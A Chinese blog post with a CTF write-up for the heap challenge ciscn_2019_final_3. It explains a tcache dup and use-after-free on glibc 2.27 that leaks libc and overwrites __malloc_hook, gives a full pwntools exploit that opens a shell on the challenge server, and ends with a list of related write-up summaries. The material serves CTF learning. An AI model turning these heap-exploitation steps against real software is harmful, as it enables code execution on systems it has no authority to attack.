【pwn】 ciscn_2019_final_3

pwn 堆入门之tcache 目录ciscn_final_3ciscn_2019_es_1 ciscn_final_3 #!/usr/bin/env python3 # coding=utf-8 from pwn import * arch = "amd64" filename = "ciscn_final_3" context(os="linux", arch=arch, log_level="debug") content = 0 offset = 0 # elf elf = ELF(filename) # libc l 阅读详情

例行检查
在这里插入图片描述保护全开,分析程序。
add函数
在这里插入图片描述
只能申请小于0x78大小的chunk,chunk数量不能超过24个,且题目给了申请到内存空间的地址。

free函数
在这里插入图片描述
free后指针没有置0,且libc是2.27的,存在tcache dup。唯一问题就在于如何得到libc的地址。泄露libc地址一般通过unsortbin,存在tcache的情况下,64位程序需要申请超过0x400大小chunk,free之后才能进unsortbin,所以只能通过修改chunksize,其次要得到libc地址必须要分配到这块地方题目才能给你打印出来,通过overlap可以将在tcache中的fd部分变为unsortbin的fd部分,从而分配到libc地址上空间。

from pwn import *

io=remote('xx.xx.xx.xx',xxxx)
libc=ELF('./libc.so.6')

def add(idx,size,data):
    io.recvuntil('choice > ')
    io.sendline('1')
    io.recvuntil('the index')
    io.sendline(str(idx))
    io.recvuntil('the size')
    io.sendline(str(size))
    io.recvuntil('something')
    io.sendline(data)
    io.recvuntil('gift :')
    return int(io.recvline()[2:],16)

def free(idx):
    io.recvuntil('choice > ')
    io.sendline('2')
    io.recvuntil('the index')
    io.sendline(str(idx))   

heap=add(0,0x78,'a')#0
print(hex(heap))
add(1,0x18,'b')#1
add(2,0x78,'c')#2
add(3,0x78,'d')#3 
add(4,0x78,'c')#4
add(5,0x78,'d')#5 
add(6,0x78,'c')#6
add(7,0x78,'d')#7 
add(8,0x78,'c')#8
add(9,0x78,'d')#9 
add(10,0x78,'c')#10
add(11,0x78,'d')#11
add(12,0x28,'d')#12
#dup 
free(12)
free(12)
add(13,0x28,p64(heap-0x10))#4 修改为chunk0 size的地址
add(14,0x28,p64(heap-0x10))#5
add(15,0x28,p64(0)+p64(0x421))#get chunk0->size,size需要超过0x400才能进unsortbin

#overlap
free(0) #unsort_bin chunk0->fd=libc
free(1) #tcache
add(16,0x78,'e')#7  从unsortbin分下一块,后面依然在unsortbin里 chunk1->fd=libc
add(17,0x18,'f')#8  get chunk1
libc_base=add(18,0x18,'g')-0x3ebca0#9   get libc
malloc_hook=libc_base+libc.sym['__malloc_hook']
one_gadget=libc_base+0x10a38c
print(hex(libc_base),hex(malloc_hook))

#dup
free(5)
free(5)
add(19,0x78,p64(malloc_hook))
add(20,0x78,p64(malloc_hook))
add(21,0x78,p64(one_gadget))
#getshell
io.sendline('1')
io.sendline('22')
io.sendline('0;cat flag')

io.interactive()
mqtt 协议pwn入门(ciscn2025 final mqtt) 摘要:本文记录了作者参加CISCN2025国赛MQTT题目的解题历程。题目涉及MQTT协议交互,存在命令注入漏洞。文章详细介绍了MQTT协议原理、环境搭建方法,分析了题目中的鉴权绕过和条件竞争漏洞利用思路,并分享了Python编写的EXP脚本。作者通过本地调试复盘了比赛过程,总结了当前CTF比赛中PWN题向协议交互方向发展的趋势,也反思了比赛中的失误。文章提供了完整的解题思路和技术细节,对理解MQTT协议相关安全问题和CTF解题具有参考价值。 阅读详情

相关推荐

[BUUCTF]PWN——ciscn_2019_final_2

ciscn_2019_final_2 附件 步骤 例行检查,64位程序,保护全开 本地没有flag文件,远程连接一下,经典的堆题的菜单 64位ida载入 init() allocate(),只可以申请0x20或者0x10的chunk delete() show(),show只能调用3次 bye_bye 这道题的关键点在于文件流的知识 dup2 用来复制文件描述符:int dup2 (int oldfd,int newfd) _fileno 是用来规定 fd 所指向的文件流的,i

mcmuyanga的博客 1446

记一次赛题--保护全开

记一次赛题--保护全开

qq_73149934的博客 565

BUUCTF-PWN ciscn_2019_final_5(临界条件错误,劫持GOT表项)

目录题目分析漏洞分析漏洞利用Exp 题目分析 例行安全检查 没有PIE,方面调试 partial relro意味着这题应该直接改GOT表就能做 菜单: 没有show功能,可以考虑吧某个函数(比如free的GOT)改为puts@plt 可以申请17个chunk,编号为0-16 每次分配结束后会显示分配内存的低12bits 而本题中还有一个特殊的地方,就是content数组(0x6020e0)...

weixin_44145820的博客 1226

canary保护和pie保护的绕过

今天通过三道例题学习一下开启canary,pie保护的解题方法。

2301_79880074的博客 3327

论文阅读《Eigen-GNN: A Graph Structure Preserving Plug-in for GNNs》

好久没看论文了,感觉好生疏 关于这篇文章的大致脉络,这篇文章已经介绍过了。

且视他人之疑目如盏盏鬼火,大胆地去走你的夜路 461

《联邦学习实战》杨强 读书笔记十四——构建公平的大数据交易市场

当数据具有资产属性之后,数据便可以直接或者间接地为公司、为社会创造价值和收益,并且可以作为一种特殊的商品在市场中进行交易。 与传统的商品交易相比,数据资产交易的市场前景更广阔,但同时也面临着很多的挑战,主要包括: 数据的质量、价格如何定义 在合法合规的前提下,数据的交易如何确保不会泄露用户的隐私 如何构建合理的激励机制来鼓励更多的参与方加入数据交易市场中 大数据交易 数据交易的定义 数据交易是指一种对数据进行买卖的行为,大数据交易由三方共同参与,分别为数据提供方、大数据交易平台和数据需求方:

IEEE802_11的博客 3433

CTFpwn常见保护及绕过:pie,canary

这道题没有后门,我们还需要libc去做,这样我们需要泄露出一个正常的函数地址,来计算出libc_base,但是我们发现泄露的地址没有函数,libc_start_call_main(下称libc_call),这个函数我们不可以使用,因为找不到它的偏移(这里是因为虚拟机版本问题,一般libc_start_main(下称libc_main)可以被泄露出来)跟libc利用很像。之后跟进ctfshow函数,进行代码审计,第一个while循环没什么用,我们随便发送个数据就可以绕过,重点!

2302_79813730的博客 4915

ITIL-IT运维管理-概述

ITIL-IT运维管理-概述 概述 IT服务管理(ITSM)是一套帮助企业对IT系统的规划、研发、实施和运营进行有效管理的方法,是一套方法论。ITSM起源于ITIL(IT Infrastructure Library,IT基础架构标准库),ITIL是CCTA(英国国家电脑局)于1980年开发的一套IT服务管理标准库。它把英国在IT管理方面的方法归纳起来,变成规范,为企业的IT部门提供一套从计划、研发、实施到运维的标准方法。 中文名 IT服务管理 外文名 ITService Management 专家

syjhct的博客 4万+

ciscn_2019_s_3

首先拿到程序先查看一下程序类型 是一个x86-64的ELF文件,查看一下保护,只开启了堆栈不可执行保护 用IDA分析一下该程序 main函数直接进入到vuln函数,这里利用了系统调用,64位的系统调用的传参方式为 首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器 vuln函数执行了read(0,buf,0x400),又执行了write(1,buf,0x30)。看一下buf的位置,发现距离rbp只有0x10大小,存在栈溢出 这里的栈

qq_45691294的博客 2383

计算机毕设项目十四:美团酒店评论情感分析完整数据代码-可直接运行

计算机毕设项目十四:美团酒店评论情感分析完整数据代码-可直接运行

693

罗克韦尔AB PLC_FactoryTalk无法登录的解决方法

罗克韦尔AB PLC_FactoryTalk无法登录的解决方法

Robot_PLC_HMI_Automation 3575

ciscn_2019_es_2

小白垃圾做题笔记,不及建议阅读。声明,exp来自网络,调试过程自己调试,对于题目的理解仅供参考。由于本人也是小白,且pwn全靠自己摸索,所以有很多理解不到位的地方。如有错误,欢迎指正。

小白垃圾笔记2 1058

Android 10.0 任务栏音乐播放器后台播放杀进程功能实现

在10.0的系统rom定制化开发过程中,在某些情况下在安装第三方播放器以后,播放音乐的时候,在最近任务栏recents列表中,点击全部清除,发现音乐播放器还在播放音乐,导致出现bug,完整的 解决方法,肯定是需要点击全部清除以后,音乐播放器也被杀掉进程,接下来看下这个问题怎么解决

安卓兼职framework和app工程师的博客 652

[BUUCTF]PWN——ciscn_2019_final_3(tcache dup)

ciscn_2019_final_3 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,提示是堆题 64位ida载入 add() remove() 简单的思路:先合并堆块,合并后的堆块大于tcache的范围,然后free掉即可出现libc,接下来就是堆块重叠malloc一个堆块到libc空间,通过gift得到libc地址,接着tcache attack修改__free_hook拿到shell tcache 第一次接触tcache,根据ctfwiki上的知识点简单总结一

mcmuyanga的博客 1353

Debezium报错处理系列之第112篇:Cannot replicate because the master purged required binary logs. Replicate the

Debezium报错处理系列之第112篇:Cannot replicate because the master purged required binary logs.

zhengzaifeidelushang的博客 726

从数字后端角度谈谈occ电路(二)

从图中,我们可以清晰的看出,当scan_en为1时,test mode为1时,经过一系列逻辑单元后,得到clk_sel输出信号为1,同样可推算fast_clk_en = 0,slow_clk_en为1,此时clk_out输出为slow clk,符合我们预期。在该模式下,是使用slow clock进行scan shift,接着我们开始进行推导;从图中,我们根据逻辑运算可以看出,clk_sel输出信号为0,fast clk en为1,此时通过mux选择,clk out即为fast clk;

芯冰乐 358

[BUUCTF]-PWN:ciscn_2019_final_3解析(tcache dup)

查看保护RELRO保护为FULL,got表不可修改,只能修改hook表了查看ida这里的大致功能为alloc创建堆块(可填充内容)、free释放堆块(但是不清空指针)值得注意的就是创建堆块大小不可以超过0x78(实际大小会对齐)

2301_79326813的博客 702

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

190727 pwn-ciscn_final_14

搞了快三个小时才出来_(:з」∠)_几乎白给 雷泽太强了! 简单逆向后可以知道 该程序具有注册和登陆功能 注册后会给name赋值为userx,而get_flag的需求为name==adminx passwd成员存储原始密码加盐(随机数)加密后的结果 code成员存储其他成员加盐(随机数)加密后的结果 登录时校验passwd和code Struct: 00000000 User ...

whklhhhh的博客 3万+

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

BUUCTF ciscn_2019_final_2 IO_FILE attack__fileno 利用

cicn_2019_final IO_attack fileno_fd利用

lplum_的博客 686

BUUCTF pwn wp 126 - 130

gyctf_2020_document ciscn_2019_final_5 roarctf_2019_realloc_magic houseoforange_hitcon_2016 SWPUCTF_2019_login

fa1c4的blog 1892

ciscn_2019_final_5

ciscn_2019_final_5 查看保护 当index为16的时候,经过运算保存的地址为0x20其实也就是heap的初初始地址+0x20。一开始没怎么看懂这些逻辑然后看了一下ha1vk的wp就懂了(XD 攻击思路:因为16的时候在堆的+0x20,所以只需要在堆里伪造一个堆块,然后释放再申请就可以改下面的一些堆块,把下面的堆块释放掉之后通过伪造的堆来改他们的fd达到任意地址申请即可。具体的tcache dup看z1r0’s blog from pwn import * context(arch=

z1r0的博客 343

ciscn_final_6

ciscn_final_6 首先,检查一下程序的保护机制 然后,我们IDA分析一下,在store_game函数里的getInput存在null off by one漏洞 常规的null off by one漏洞,只是本题逻辑复杂了一点,需要精心构造一下。 #coding:utf8 from pwn import* #sh = process('./ciscn_final_6') sh = remote('node3.buuoj.cn',27827) libc = ELF('/lib/x8

seaaseesa的博客 471

ciscn_final_7(黑盒测试)

ciscn_final_7(黑盒测试) 首先检查一下程序的保护机制 然后,我们用IDA分析一下 程序比较复杂 比较难逆向,其大致原理是fork了子进程做为一个调试进程,然后主进程里通过int 3中断通知调试器设置相应的寄存器,从而执行到其他地方。 由于整个程序主逻辑全部使用中断来实现,比较难逆向,因此我们直接黑盒测试了。 首先通过枚举choice的选项,得到了一下选项 #110 add #120 edit #238 del #386 exit 然后就进行测试,发现d

seaaseesa的博客 497

ciscn_final_3

ciscn_final_3 程序给的glibc版本为2.27,存在tcache机制 首先检查一下程序的保护机制 然后,我们用IDA分析一下 Delete功能存在UAF漏洞 程序没有show的功能,但是add时,会显示堆的地址。 为了能够泄露出glibc地址,我们就要依靠这个add时打印的堆地址。我们只要让tcache bin和unsorted bin重合,那么就能通过申请,...

seaaseesa的博客 487

ciscn_final_5

ciscn_final_5 首先,检查一下程序的保护机制 然后,我们用IDA分析一下 程序将下标存储到了堆地址的低4位里 操作的时候再清除低4位地址值。 问题就在于当index为16的时候,低4位已经无法表示了,这就造成了溢出 假如我的堆地址为0x10,我的index为16,那么,经过运算,保存的地址为0x20,这样free的时候,就是free(0x20)。因此,我...

seaaseesa的博客 524

CISCN-2025-FINAL-DarkHeap

本文介绍了一种针对libc 2.35的堆利用技术,利用Tcache Stashing Unlink Attack攻击手法。程序通过fork子进程实现堆操作,存在UAF漏洞但无show功能。攻击分为两个阶段:首先利用两次攻击构造tcache指向关键libc结构,通过修改_IO_2_1_stderr_和topchunk实现地址泄露;然后在第二个子进程中再次利用该攻击修改_IO_file结构,结合house_of_some技术完成攻击。由于高版本libc的随机化特性,成功率约为1/16到1/256。文章提供了完整

2301_79327647的博客 466
上一篇: 【re】 watevrCTF2019_Repyc
下一篇: 【pwn】roarctf_2019_easy_pwn
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值